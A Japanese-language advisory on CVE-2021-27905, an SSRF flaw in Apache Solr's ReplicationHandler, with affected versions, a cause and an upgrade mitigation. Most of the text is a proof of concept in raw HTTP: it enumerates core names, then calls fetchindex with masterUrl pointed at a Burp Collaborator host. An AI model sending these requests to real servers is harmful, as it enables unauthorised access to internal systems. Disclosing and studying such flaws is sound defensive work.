
[CVE-2021-27905] Apache Solr ReplicationHandler サーバーサイドリクエストフォージェリ (SSRF)
Hit Counter
Apache Solr(Searching On Lucene with Replicationの略)は、Apache Luceneライブラリをベースにしたフリーのオープンソース検索エンジンです。Javaで記述されています。Apache Solrは、RESTful XML/HTTPおよびJSON APIと、Java、Python、Ruby、C#、PHPなど多くのプログラミング言語向けのクライアントライブラリを備えており、Webサイト、データベース、ファイルなどを対象とした検索ベースおよびビッグデータ分析アプリケーションの構築に使用されています。
Apache Solrの8.8.2より前のすべてのバージョン(7.0.0〜7.7.3および8.0.0〜8.8.1)は、サーバーサイドリクエストフォージェリ(SSRF)の脆弱性の影響を受けます。この脆弱性が悪用されると、脆弱性のあるアプリケーション自体、またはアプリケーションが通信できる他のバックエンドシステム上で、組織内のデータへの不正な操作やアクセスが行われる可能性があります。
ReplicationHandler(通常はSolrコア配下の/replicationに登録されます)には、別のSolrコア上の別のReplicationHandlerを指定してインデックスデータをローカルコアにレプリケーションするために使用されるmasterUrl(別名leaderUrl)パラメータがあります。SSRFの脆弱性を防ぐために、Solrはこれらのパラメータをshardsパラメータに使用しているものと同様の設定と照合する必要がありました。この脆弱性が修正される前は、それが行われていませんでした。
概念実証(PoC): この脆弱性を悪用するには、攻撃者はApache Solr上のコア名を知っている必要があります。そのため、以下のリクエストを使用してコア名を特定できます。
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
{
"responseHeader":
{
"status": 0,
"QTime": 0
},
"initFailures":
{},
"status":
{
"beliana_dev":
{
"name": "beliana_dev",
"instanceDir": "/var/solr/data/beliana_dev",
"dataDir": "/var/solr/data/beliana_dev/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-04-20T13:49:06.569Z",
"uptime": 293226747
},
"beliana_prod":
{
"name": "beliana_prod",
"instanceDir": "/var/solr/data/beliana_prod",
"dataDir": "/var/solr/data/beliana_prod/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
},
"beliana_stage":
{
"name": "beliana_stage",
"instanceDir": "/var/solr/data/beliana_stage",
"dataDir": "/var/solr/data/beliana_stage/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
}
}
}

コア名を特定したら、そのうちの1つを選択して、次のエンドポイントにリクエストを送信します:/solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<int name="status">0</int>
<int name="QTime">75</int>
</lst>
<str name="status">OK</str>
</response>


緩和策: 以下のいずれかでこの脆弱性を防止できます
8.8.2以上にアップグレードします。参照: